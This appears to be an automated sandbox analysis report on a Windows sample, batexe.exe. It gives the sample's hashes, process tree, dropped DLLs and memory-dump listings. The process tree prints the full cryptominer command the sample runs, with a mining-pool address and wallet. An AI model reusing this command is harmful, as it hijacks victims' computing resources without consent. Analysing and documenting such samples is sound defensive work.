73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 09:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1472	b2e.exe
428	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
428	cpuminer-sse2.exe
428	cpuminer-sse2.exe
428	cpuminer-sse2.exe
428	cpuminer-sse2.exe
428	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3992-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 1472	3992	batexe.exe	74
PID 3992 wrote to memory of 1472	3992	batexe.exe	74
PID 3992 wrote to memory of 1472	3992	batexe.exe	74
PID 1472 wrote to memory of 3452	1472	b2e.exe	75
PID 1472 wrote to memory of 3452	1472	b2e.exe	75
PID 1472 wrote to memory of 3452	1472	b2e.exe	75
PID 3452 wrote to memory of 428	3452	cmd.exe	78
PID 3452 wrote to memory of 428	3452	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Users\Admin\AppData\Local\Temp\AC5D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AC5D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AC5D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AFC8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AC5D.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\AC5D.tmp\b2e.exe

Filesize
10.9MB

MD5
deefd3e520ea369c8a728bfc6467025c

SHA1
146b8050b65b1180eb943dd9e5480e0904e45105

SHA256
2d1b598f48fe9ded8af44bb1abcd862588a26214aa47f5017c6b9912566d9876

SHA512
8919c70620f2194742e4698a0e2182a4b324be468efb65e3e8567d72482eb01d2eeb189c255343eac844d7dd444dd255b8a0ade43356512290434625474e77d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\AFC8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
e996171118851ae5747b946f8eecd2b0

SHA1
2ca1dc32df7a1262b535137ad236f120c74ec54e

SHA256
ba435bc42e48b6b6c81d13a3fdaa8fbeac07cfe402ce328698ff07ec847e156e

SHA512
15d5f5fe70d349d14c81b1f618b8b7672b53c377a0af90e6221aab6fa5f7badd0ef0709400050e65c7ae0ddaf90bad06f22ffdd3f10815bf60290f2d6983eb64

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
952cf9c1c9be72c2375e13cf518f1eb8

SHA1
12e133ab6e333726ca2b047d8b0f44db463ff0de

SHA256
1d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19

SHA512
c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
3d7748d4803b3bdb1844de38a54a0410

SHA1
1385479724ae2f3dbd5d93a60d304e8093ab070e

SHA256
55f2f6017f685ce5333d81affdfcbfedac91ba7beaaad202eb65a6282d8e78fb

SHA512
bca8e720f85ebf76278b12966be2fd0fcc53b19734a5ab6e89ad33b62e2b1af693508ae9d913d9664145b389bad74bb6e759e9d2da9f6e5b67d03f53b2727769

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/428-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/428-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/428-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-43-0x0000000074D20000-0x0000000074DB8000-memory.dmp

Filesize
608KB

Download
memory/428-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/428-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/428-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1472-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1472-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3992-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download